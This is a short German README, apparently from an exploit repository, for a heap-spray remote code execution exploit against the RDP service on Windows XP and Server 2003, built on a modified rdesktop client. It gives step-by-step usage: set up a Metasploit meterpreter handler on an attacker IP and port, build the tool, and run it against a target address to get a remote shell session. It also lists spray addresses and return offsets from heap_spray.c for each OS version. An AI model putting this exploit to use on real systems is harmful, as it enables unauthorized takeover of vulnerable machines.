
es funktioniert auf XP (allen Versionen SP2 SP3)
msfconsole meterpreter/multi/handler aus, um auf 192.168.116.133:6000 zu lauschen.cd rdesktop-1.5.0 && make./heap_spray 192.168.116.134 aus (134 ist die Adresse von XP, RAM >= 2 GB).msfconsole meterpreter erhält eine Session.PS:
shellcode/shellcode.asm ist der Quellcode des Kernel-Shellcodes. Nach dem Kompilieren in Binärform wird die Datei rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b erstellt, die beim make direkt in das Programm eingebunden wird.
Derzeit wird nur XP unterstützt, XP benötigt RAM >= 2 GB.
Falls Unterstützung für 2003 benötigt wird, muss das HEAP_SPRAY_ADDRESS-Makro in heap_spray.c angepasst werden. Nach wiederholten Tests variiert diese Adresse je nach 2003-Systemversion und RAM-Größe. Wenn du jedoch auf deinem eigenen Rechner testest, kann der Exploit auf 2003 erfolgreich sein. Die Lösung ist nicht universell einsetzbar.
heap_spray.c:
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 // Muss die Adresse des Heap-Spray-Shellcodes selbst über Windbg debuggen. Falls jemand eine universelle Lösung findet, bitte Issue einreichen.
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
Test für 2003:
msfconsole meterpreter/multi/handler aus, um auf 192.168.116.133:6000 zu lauschen.cd rdesktop-1.5.0 && make./_2003_heap_spray 192.168.116.135 aus (135 ist die Adresse von 2003, RAM >= 2 GB).msfconsole meterpreter erhält eine Session.